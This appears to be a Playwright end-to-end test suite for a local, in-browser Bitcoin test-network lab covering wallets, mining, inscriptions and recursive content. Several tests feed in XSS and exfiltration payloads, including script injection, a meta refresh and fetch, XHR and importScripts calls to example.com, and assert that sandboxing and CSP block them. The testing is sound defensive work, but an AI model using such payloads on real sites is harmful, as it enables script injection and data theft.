2026-10-04 23:24:48 +00:00
import { test , expect } from '@playwright/test' ;
2026-10-05 00:57:00 +00:00
test ( 'create → mine → mempool → inscription → block/transaction → reload/load' , async ({ page }) => {
2026-10-04 23:24:48 +00:00
const errors = [], remote = [];
page . on ( 'pageerror' , e => errors . push ( e . message ));
page . on ( 'request' , r =>{ if ( ! r . url (). startsWith ( 'http://127.0.0.1:4178' )) remote . push ( r . url ()); });
await page . goto ( '/' );
2026-10-05 02:33:54 +00:00
await expect ( page . getByRole ( 'button' ,{ name : 'Mine now' })). toBeDisabled ();
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#mempool-list' )). toContainText ( 'Mempool empty' );
2026-10-04 23:24:48 +00:00
await page . getByRole ( 'button' ,{ name : 'Create test wallet' }). click ();
await expect ( page . locator ( '#address' )). toHaveValue ( /^bcrt1p/ );
2026-10-05 02:33:54 +00:00
await page . getByRole ( 'button' ,{ name : 'Mine now' }). click ();
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '#balance' )). toHaveText ( '50.00000000' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#blocks .block-card' )). toHaveCount ( 1 );
await expect ( page . locator ( '#blocks .block-card' ). first ()). toContainText ( 'HEIGHT 1' );
2026-10-04 23:24:48 +00:00
const payload = '<script>window.unwanted=true</script> Hello 🌱' ;
await page . getByLabel ( 'What will you put on your chain?' ). fill ( payload );
await page . getByRole ( 'button' ,{ name : 'Review inscription' }). click ();
await expect ( page . locator ( '#review-text' )). toHaveText ( payload );
await expect ( page . locator ( '#pending' )). toHaveText ( '0' );
await page . getByRole ( 'button' ,{ name : 'Sign & inscribe' }). click ();
await expect ( page . locator ( '#pending' )). toHaveText ( '2' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#mempool-list .mempool-card' )). toHaveCount ( 2 );
await expect ( page . locator ( '#mempool-list' )). toContainText ( 'INSCRIPTION COMMIT' );
await expect ( page . locator ( '#mempool-list' )). toContainText ( 'INSCRIPTION REVEAL' );
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '.collectible pre' )). toHaveText ( payload );
await expect ( page . locator ( '.collectible .tag' )). toContainText ( 'PENDING' );
await expect ( page . locator ( '#balance' )). toHaveText ( '49.99999000' );
2026-10-05 00:57:00 +00:00
await page . locator ( '#mempool-list .mempool-card' ). last (). click ();
await expect ( page . locator ( '#inspector' )). toContainText ( 'Pending in mempool' );
2026-10-04 23:24:48 +00:00
await page . reload ();
await expect ( page . locator ( '.collectible pre' )). toHaveText ( payload );
await expect ( page . locator ( '#pending' )). toHaveText ( '2' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#mempool-list .mempool-card' )). toHaveCount ( 2 );
2026-10-05 02:33:54 +00:00
await page . getByRole ( 'button' ,{ name : 'Mine now' }). click ();
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#mempool-list' )). toContainText ( 'Mempool empty' );
await expect ( page . locator ( '#blocks .block-card' )). toHaveCount ( 2 );
await expect ( page . locator ( '#blocks .block-card' ). first ()). toContainText ( 'HEIGHT 2' );
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '.collectible .tag' )). toHaveText ( 'CONFIRMED · BLOCK 2' );
await page . getByRole ( 'link' ,{ name : 'View reveal transaction' }). click ();
await expect ( page . locator ( '#inspector' )). toContainText ( '1 confirmation(s)' );
await expect ( page . locator ( '#inspector' )). toContainText ( 'Raw Bitcoin transaction' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#inspector' )). toContainText ( 'INSCRIPTION REVEAL' );
2026-10-04 23:24:48 +00:00
await page . getByRole ( 'link' ,{ name : 'Inspect commit transaction' }). click ();
await expect ( page . locator ( '#inspector' )). toContainText ( '4,999,998,000 sats' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#inspector' )). toContainText ( 'INSCRIPTION COMMIT' );
2026-10-04 23:24:48 +00:00
await page . getByRole ( 'link' ,{ name : 'View block 2' }). click ();
await expect ( page . locator ( '#inspector h2' )). toHaveText ( 'Block 2' );
2026-10-05 00:57:00 +00:00
await expect ( page . locator ( '#inspector' )). toContainText ( 'Transactions' );
await expect ( page . locator ( '#inspector a' )). toHaveCount ( 4 );
2026-10-04 23:24:48 +00:00
await page . getByRole ( 'link' ,{ name : /^Inscription / }). click ();
await expect ( page . locator ( '#inspector' )). toContainText ( 'Inscription detail' );
const [ download ] = await Promise . all ([ page . waitForEvent ( 'download' ), page . getByRole ( 'button' ,{ name : 'Save complete lab' }). click ()]);
const backupPath = await download . path ();
page . on ( 'dialog' , dialog => dialog . accept ());
await page . getByRole ( 'button' ,{ name : 'Reset local lab' }). click ();
await expect ( page . getByRole ( 'button' ,{ name : 'Create test wallet' })). toBeVisible ();
await page . locator ( '#load-wallet' ). setInputFiles ( backupPath );
await expect ( page . locator ( '.collectible pre' )). toHaveText ( payload );
await expect ( page . locator ( '#height' )). toHaveText ( '2' );
await page . reload ();
await expect ( page . locator ( '#balance' )). toHaveText ( '99.99999000' );
expect ( await page . evaluate (()=> window . unwanted )). toBeUndefined ();
expect ( errors ). toEqual ([]); expect ( remote ). toEqual ([]);
expect ( await page . evaluate (()=> document . documentElement . scrollWidth <= innerWidth )). toBeTruthy ();
await page . screenshot ({ path : `test-results/ ${ test . info (). project . name } -complete.png` , fullPage : true });
});
2026-10-05 01:29:49 +00:00
for ( const colorScheme of [ 'light' , 'dark' ]) {
test ( `dark default and explicit theme persistence with ${ colorScheme } system preference` , async ({ page }) => {
await page . emulateMedia ({ colorScheme });
2026-10-05 00:57:00 +00:00
await page . goto ( '/' );
await expect ( page . locator ( 'html' )). toHaveAttribute ( 'data-theme' , 'dark' );
await expect ( page . getByRole ( 'button' ,{ name : 'Switch to light mode' })). toBeVisible ();
await page . getByRole ( 'button' ,{ name : 'Switch to light mode' }). click ();
await expect ( page . locator ( 'html' )). toHaveAttribute ( 'data-theme' , 'light' );
await page . reload ();
await expect ( page . locator ( 'html' )). toHaveAttribute ( 'data-theme' , 'light' );
await expect ( page . getByRole ( 'button' ,{ name : 'Switch to dark mode' })). toBeVisible ();
2026-10-05 01:29:49 +00:00
expect ( await page . evaluate (() => localStorage . getItem ( 'super-testnet-theme' ))). toBe ( 'light' );
await page . getByRole ( 'button' ,{ name : 'Switch to dark mode' }). click ();
await page . reload ();
await expect ( page . locator ( 'html' )). toHaveAttribute ( 'data-theme' , 'dark' );
expect ( await page . evaluate (() => localStorage . getItem ( 'super-testnet-theme' ))). toBe ( 'dark' );
2026-10-05 00:57:00 +00:00
});
2026-10-05 01:29:49 +00:00
}
2026-10-05 00:57:00 +00:00
2026-10-04 23:24:48 +00:00
test ( 'wallet backup reload and rejected oversized or invalid input' , async ({ page })=>{
await page . goto ( '/' ); await page . getByRole ( 'button' ,{ name : 'Create test wallet' }). click ();
await expect ( page . locator ( '#address' )). toHaveValue ( /^bcrt1p/ );
const address = await page . locator ( '#address' ). inputValue ();
const [ download ] = await Promise . all ([ page . waitForEvent ( 'download' ), page . getByRole ( 'button' ,{ name : 'Save test wallet' }). click ()]);
2026-10-05 02:33:54 +00:00
await page . getByRole ( 'button' ,{ name : 'Mine now' }). click ();
2026-10-05 01:23:21 +00:00
await page . locator ( '#payload' ). fill ( '🌱' . repeat ( 4097 ));
2026-10-04 23:24:48 +00:00
await page . getByRole ( 'button' ,{ name : 'Review inscription' }). click ();
2026-10-05 01:23:21 +00:00
await expect ( page . getByRole ( 'status' )). toContainText ( 'at most 16384' );
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '#pending' )). toHaveText ( '0' );
await page . locator ( '#load-wallet' ). setInputFiles ({ name : 'bad.json' , mimeType : 'application/json' , buffer : Buffer . from ( '{"network":"mainnet"}' )});
await expect ( page . getByRole ( 'status' )). toContainText ( 'Only Super Testnet' );
await expect ( page . locator ( '#address' )). toHaveValue ( address );
page . on ( 'dialog' , d => d . accept ());
await page . locator ( '#load-wallet' ). setInputFiles ( await download . path ());
await expect ( page . getByRole ( 'status' )). toContainText ( 'Test wallet loaded.' );
await expect ( page . locator ( '#address' )). toHaveValue ( address );
await expect ( page . locator ( '#balance' )). toHaveText ( '50.00000000' );
});
test ( 'two tabs serialize mining and refresh shared storage' , async ({ page , context })=>{
await page . goto ( '/' ); await page . getByRole ( 'button' ,{ name : 'Create test wallet' }). click ();
await expect ( page . locator ( '#address' )). toHaveValue ( /^bcrt1p/ );
const other = await context . newPage (); await other . goto ( '/' );
2026-10-05 02:33:54 +00:00
await Promise . all ([ page . getByRole ( 'button' ,{ name : 'Mine now' }). click (), other . getByRole ( 'button' ,{ name : 'Mine now' }). click ()]);
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '#height' )). toHaveText ( '2' );
await expect ( other . locator ( '#height' )). toHaveText ( '2' );
await expect ( page . locator ( '#balance' )). toHaveText ( '100.00000000' );
});
test ( 'storage failure leaves the displayed and persisted chain unchanged' , async ({ page }) => {
await page . goto ( '/' );
await page . getByRole ( 'button' ,{ name : 'Create test wallet' }). click ();
await expect ( page . locator ( '#address' )). toHaveValue ( /^bcrt1p/ );
await page . evaluate (()=>{ Storage . prototype . setItem = () => { throw new DOMException ( 'Quota exceeded' , 'QuotaExceededError' ); }; });
2026-10-05 02:33:54 +00:00
await page . getByRole ( 'button' ,{ name : 'Mine now' }). click ();
2026-10-04 23:24:48 +00:00
await expect ( page . getByRole ( 'status' )). toContainText ( 'No changes were saved' );
await expect ( page . locator ( '#height' )). toHaveText ( '0' );
await expect ( page . locator ( '#balance' )). toHaveText ( '0.00000000' );
await page . reload ();
await expect ( page . locator ( '#height' )). toHaveText ( '0' );
2026-10-05 02:33:54 +00:00
await page . getByRole ( 'button' ,{ name : 'Mine now' }). click ();
2026-10-04 23:24:48 +00:00
await expect ( page . locator ( '#balance' )). toHaveText ( '50.00000000' );
2026-10-05 01:23:21 +00:00
});
test ( 'MIME upload, reset only after success, and parent/child navigation' , async ({ page }) => {
await page . goto ( '/' );
await page . locator ( '#create-wallet' ). click (); await page . locator ( '#mine' ). click ();
await page . locator ( '#payload' ). fill ( 'parent' ); await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
await expect ( page . locator ( '#payload' )). toHaveValue ( '' );
await expect ( page . locator ( '#byte-count' )). toHaveText ( '0 / 16384 bytes' );
const parent = await page . locator ( '#parent option' ). nth ( 1 ). getAttribute ( 'value' );
await page . locator ( '#parent' ). selectOption ( parent );
await page . locator ( '#body-file' ). setInputFiles ({ name : 'art.svg' , mimeType : 'image/svg+xml' , buffer : Buffer . from ( '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><circle cx="10" cy="10" r="8" fill="orange"/></svg>' ) });
await page . locator ( '#review' ). click ();
await expect ( page . locator ( '#review-preview iframe' )). toHaveAttribute ( 'sandbox' , '' );
await page . evaluate (() => { window . originalSetItem = Storage . prototype . setItem ; Storage . prototype . setItem = () => { throw new Error ( 'quota' ); }; });
await page . locator ( '#sign' ). click ();
await expect ( page . getByRole ( 'status' )). toContainText ( 'No changes were saved' );
await expect ( page . locator ( '#review-panel' )). toBeVisible ();
await expect ( page . locator ( '#parent' )). toHaveValue ( parent );
expect ( await page . locator ( '#body-file' ). evaluate ( e => e . files . length )). toBe ( 1 );
await page . evaluate (() => { Storage . prototype . setItem = window . originalSetItem ; });
await page . locator ( '#sign' ). click ();
await expect ( page . locator ( '.collectible' )). toHaveCount ( 2 );
await expect ( page . locator ( '#review-panel' )). toBeHidden ();
await expect ( page . locator ( '#parent' )). toHaveValue ( '' );
await expect ( page . locator ( '#byte-count' )). toHaveText ( '0 / 16384 bytes' );
expect ( await page . locator ( '#body-file' ). evaluate ( e => e . files . length )). toBe ( 0 );
await page . locator ( '.collectible' ). getByRole ( 'link' , { name : /^Parent / }). click ();
await expect ( page . locator ( '#inspector pre' ). first ()). toHaveText ( 'parent' );
await page . locator ( '#inspector' ). getByRole ( 'link' , { name : /^Child / }). click ();
await expect ( page . locator ( '#inspector' )). toContainText ( 'image/svg+xml' );
await page . reload ();
await expect ( page . locator ( '#inspector iframe' )). toBeVisible ();
});
test ( 'HTML preview cannot execute, navigate or fetch remote resources' , async ({ page }) => {
const remote = [];
2026-10-05 03:57:01 +00:00
page . on ( 'request' , r => { if ( /^https?:/ . test ( r . url ()) && ! r . url (). startsWith ( 'http://127.0.0.1:4178' )) remote . push ( r ); });
2026-10-05 01:23:21 +00:00
await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click (); await page . locator ( '#mine' ). click ();
await page . locator ( '#mime-type' ). selectOption ( 'text/html' );
await page . locator ( '#payload' ). fill ( '<meta http-equiv="refresh" content="0;url=https://example.com"><script>parent.unwanted=true</script><img src="https://example.com/a"><iframe src="https://example.com"></iframe><p style="background:url(https://example.com/b)" onclick="parent.unwanted=true">safe words</p><a href="https://example.com">link</a>' );
await page . locator ( '#review' ). click ();
await expect ( page . frameLocator ( '#review-preview iframe' ). locator ( 'p' )). toHaveText ( 'safe words' );
await page . locator ( '#sign' ). click ();
await expect ( page . frameLocator ( '.collectible iframe' ). locator ( 'p' )). toHaveText ( 'safe words' );
expect ( await page . evaluate (() => window . unwanted )). toBeUndefined ();
2026-10-05 03:57:01 +00:00
for ( const request of remote ) await expect . poll (() => request . failure () ? . errorText ). toMatch ( /csp|ERR_BLOCKED_BY_CSP/i );
2026-10-05 01:23:21 +00:00
await expect ( page ). toHaveURL ( 'http://127.0.0.1:4178/' );
});
2026-10-05 02:33:54 +00:00
test ( 'metadata review validation, witness persistence, indexes/reducer and local API explorer' , async ({ page , context }) => {
await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click (); await page . locator ( '#mine' ). click ();
await page . locator ( '#payload' ). fill ( 'independent body' );
await page . locator ( '#metadata' ). fill ( '{bad' ); await page . locator ( '#review' ). click ();
await expect ( page . getByRole ( 'status' )). toContainText ( 'Invalid metadata JSON' );
await expect ( page . locator ( '#review-panel' )). toBeHidden ();
await page . locator ( '#metadata' ). fill ( JSON . stringify ({ large : 'x' . repeat ( 2048 )})); await page . locator ( '#review' ). click ();
await expect ( page . getByRole ( 'status' )). toContainText ( '2048 CBOR' );
await expect ( page . locator ( '#pending' )). toHaveText ( '0' );
const metadata = { protocol : 'example' , note : 'chunked ' + 'x' . repeat ( 600 ), nested : { data : true }, code : 'window.unwanted=true' };
await page . locator ( '#metadata' ). fill ( JSON . stringify ( metadata ));
await page . locator ( '#review' ). click ();
await expect ( page . locator ( '#review-metadata' )). toContainText ( 'CBOR, tag 5' );
await page . locator ( '#sign' ). click ();
await expect ( page . locator ( '#metadata' )). toHaveValue ( '' );
await expect ( page . locator ( '#metadata-count' )). toContainText ( '0 / 2048' );
await expect ( page . locator ( '.metadata-document' )). toContainText ( 'example' );
await page . reload ();
await expect ( page . locator ( '.metadata-document' )). toContainText ( 'chunked' );
await page . getByRole ( 'link' ,{ name : /^Inscription / }). click ();
await expect ( page . locator ( '#inspector .metadata-document' )). toContainText ( 'example' );
await expect ( page . locator ( '#index-stats' )). toContainText ( '1 events · 1 with metadata · 0 confirmed · 1 pending · 1 protocols' );
await page . locator ( '#protocol' ). selectOption ( '"example"' );
await expect ( page . locator ( '#protocol-events' )). not . toContainText ( 'independent' ); // Body is not part of metadata events.
await page . locator ( '#reducer' ). selectOption ( 'event-counter' );
await expect ( page . locator ( '#derived-state' )). toContainText ( '"count": 1' );
await expect ( page . locator ( '#protocol-events' )). toContainText ( '"status": "pending"' );
await page . locator ( '#mine' ). click ();
await expect ( page . locator ( '#protocol-events' )). toContainText ( '"status": "confirmed"' );
await expect ( page . locator ( '#derived-state' )). toContainText ( '"confirmed": 1' );
await expect ( page . locator ( '#api-explorer' )). toContainText ( 'LOCAL / IN-BROWSER' );
await page . locator ( '#api-preset' ). selectOption ( '/r/inscription/:id' ); await page . locator ( '#api-try' ). click ();
await expect ( page . locator ( '#api-response' )). toContainText ( '"protocol": "example"' );
await page . locator ( '#api-preset' ). selectOption ( '/content/:id' ); await page . locator ( '#api-try' ). click ();
await expect ( page . locator ( '#api-response' )). toContainText ( 'independent body' );
await page . locator ( '#api-path' ). fill ( '/r/blockheight' ); await page . locator ( '#api-try' ). click ();
await expect ( page . locator ( '#api-response' )). toContainText ( '"body": 2' );
await context . grantPermissions ([ 'clipboard-read' , 'clipboard-write' ]);
await page . locator ( '#api-copy' ). click ();
expect ( await page . evaluate (()=> navigator . clipboard . readText ())). toContain ( '"body": 2' );
await page . locator ( '#api-path' ). fill ( '/missing' ); await page . locator ( '#api-try' ). click ();
await expect ( page . locator ( '#api-response' )). toContainText ( '404' );
expect ( await page . evaluate (()=> window . unwanted )). toBeUndefined ();
expect ( await page . evaluate (()=> document . documentElement . scrollWidth <= innerWidth )). toBeTruthy ();
});
test ( 'auto miner default, preference reload, countdown, pending confirmation, manual reset and OFF' , async ({ page }) => {
await page . clock . install ();
await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click ();
await expect ( page . locator ( '#miner-interval' )). toHaveValue ( '0' );
await expect ( page . locator ( '#miner-status' )). toHaveText ( 'Auto mining OFF' );
await page . locator ( '#miner-interval' ). selectOption ( '10' );
await expect ( page . locator ( '#miner-status' )). toContainText ( '10s interval' );
await page . clock . runFor ( 10000 );
await expect ( page . locator ( '#height' )). toHaveText ( '1' );
await page . locator ( '#payload' ). fill ( 'auto confirmed' ); await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
await expect ( page . locator ( '#pending' )). toHaveText ( '2' );
await page . clock . runFor ( 10000 );
await expect ( page . locator ( '#height' )). toHaveText ( '2' ); await expect ( page . locator ( '#pending' )). toHaveText ( '0' );
await page . locator ( '#miner-interval' ). selectOption ( '30' );
await page . reload (); await expect ( page . locator ( '#miner-interval' )). toHaveValue ( '30' );
await page . locator ( '#miner-interval' ). selectOption ( '60' );
await page . clock . runFor ( 5000 ); await expect ( page . locator ( '#miner-status' )). toContainText ( '55s' );
await page . locator ( '#mine' ). click (); await expect ( page . locator ( '#height' )). toHaveText ( '3' );
await expect ( page . locator ( '#miner-status' )). toContainText ( '60s' );
await page . locator ( '#miner-interval' ). selectOption ( '0' );
await page . clock . runFor ( 65000 ); await expect ( page . locator ( '#height' )). toHaveText ( '3' );
});
test ( 'two tabs race one auto deadline under Web Locks' , async ({ page , context }) => {
const now = new Date ( '2026-10-05T12:00:00Z' );
await page . clock . install ({ time : now }); await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click ();
const other = await context . newPage (); await other . clock . install ({ time : now }); await other . goto ( '/' );
await page . locator ( '#miner-interval' ). selectOption ( '10' );
await expect ( other . locator ( '#miner-interval' )). toHaveValue ( '10' );
await Promise . all ([ page . clock . runFor ( 10000 ), other . clock . runFor ( 10000 )]);
await expect ( page . locator ( '#height' )). toHaveText ( '1' ); await expect ( other . locator ( '#height' )). toHaveText ( '1' );
await page . locator ( '#miner-interval' ). selectOption ( '0' );
await expect ( other . locator ( '#miner-interval' )). toHaveValue ( '0' );
});
2026-10-05 03:57:01 +00:00
test ( 'recursive local fetch, delegate identity, external blocking and worker DOM isolation' , async ({ page }) => {
const remote = [];
page . on ( 'request' , r =>{ if ( /^https?:/ . test ( r . url ()) && ! r . url (). startsWith ( 'http://127.0.0.1:4178' )) remote . push ( r );});
await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click (); await page . locator ( '#mine' ). click ();
await page . locator ( '#payload' ). fill ( 'local recursive body' ); await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
const content = await page . locator ( '#parent option' ). nth ( 1 ). getAttribute ( 'value' );
await page . locator ( '#mime-type' ). selectOption ( 'text/html' );
await page . locator ( '#metadata' ). fill ( '{"protocol":"recursive","name":"source"}' );
await page . locator ( '#payload' ). fill ( `<p>Isolated recursion</p><script>
const result={id:ord.id,content:await (await fetch('/content/ ${ content } ')).text(),height:await (await fetch('/r/blockheight')).json(),metadata:await (await fetch('/r/metadata/'+ord.id)).json()};
try{await fetch('https://example.com/leak');result.external='escaped'}catch{result.external='blocked'}
try{parent.document.body.innerHTML='escaped';result.dom='escaped'}catch{result.dom='blocked'}
try{await new Promise((ok,bad)=>{const x=new XMLHttpRequest();x.open('GET','https://example.com/xhr');x.onload=ok;x.onerror=bad;x.send()});result.xhr='escaped'}catch{result.xhr='blocked'}
try{importScripts('https://example.com/script.js');result.import='escaped'}catch{result.import='blocked'}
ord.render(JSON.stringify(result));
</script>` );
await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
const source = await page . locator ( '#parent option' ). nth ( 2 ). getAttribute ( 'value' );
const output = page . frameLocator ( '.collectible iframe' ). locator ( '#recursive-output' );
await expect ( output ). toContainText ( 'local recursive body' );
await expect ( output ). toContainText ( '"height":1' );
await expect ( output ). toContainText ( '"external":"blocked"' );
await expect ( output ). toContainText ( '"dom":"blocked"' );
await expect ( output ). toContainText ( '"xhr":"blocked"' );
await expect ( output ). toContainText ( '"import":"blocked"' );
await expect ( output ). toContainText ( source );
await page . locator ( '#mime-type' ). selectOption ( 'text/plain' ); await page . locator ( '#payload' ). fill ( 'delegating' );
await page . locator ( '#delegate' ). fill ( source ); await page . locator ( '#metadata' ). fill ( '{"name":"requested"}' );
await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
const delegated = await page . locator ( '#parent option' ). nth ( 3 ). getAttribute ( 'value' );
const delegatedOutput = page . frameLocator ( '.collectible:first-child iframe' ). locator ( '#recursive-output' );
await expect ( delegatedOutput ). toContainText ( delegated );
await expect ( delegatedOutput ). toContainText ( 'a1646e616d6569726571756573746564' );
await expect ( page . locator ( '.collectible:first-child' )). toContainText ( 'Delegate' );
await expect ( page . locator ( '.collectible' ). nth ( 1 )). toContainText ( 'Delegated by' );
// Chromium emits request events for CSP-denied XHR attempts; none reached the network.
for ( const request of remote ) expect ( request . failure () ? . errorText ). toMatch ( /csp|ERR_BLOCKED_BY_CSP/i );
await expect ( page . locator ( 'h1' )). toContainText ( 'Bitcoin universe' );
});
test ( 'recursive template and reinscription stack persist across mining and reload' , async ({ page }) => {
await page . goto ( '/' ); await page . locator ( '#create-wallet' ). click (); await page . locator ( '#mine' ). click ();
await page . locator ( '#recursive-demo' ). click (); await page . locator ( '#review' ). click (); await page . locator ( '#sign' ). click ();
const id = await page . locator ( '#parent option' ). nth ( 1 ). getAttribute ( 'value' );
await expect ( page . frameLocator ( '.collectible iframe' ). locator ( '#recursive-output' )). toContainText ( id );
await page . locator ( '#reinscribe' ). selectOption ( id ); await page . locator ( '#mime-type' ). selectOption ( 'text/plain' );
await page . locator ( '#payload' ). fill ( 'second on same sat' ); await page . locator ( '#review' ). click ();
await expect ( page . locator ( '#review-parent' )). toContainText ( `Reinscribe: ${ id } ` );
await page . locator ( '#sign' ). click ();
await expect ( page . locator ( '.collectible' )). toHaveCount ( 2 );
await expect ( page . locator ( '.collectible' ). first ()). toContainText ( 'stack position 1' );
await expect ( page . locator ( '.collectible' ). last ()). toContainText ( 'stack position 0' );
await expect ( page . locator ( '.collectible' ). first (). getByRole ( 'link' ,{ name : /Sat history/ })). toHaveCount ( 2 );
await page . locator ( '#mine' ). click (); await page . reload ();
await expect ( page . locator ( '.collectible' )). toHaveCount ( 2 );
await expect ( page . frameLocator ( '.collectible iframe' ). locator ( '#recursive-output' )). toContainText ( '"height": 2' );
});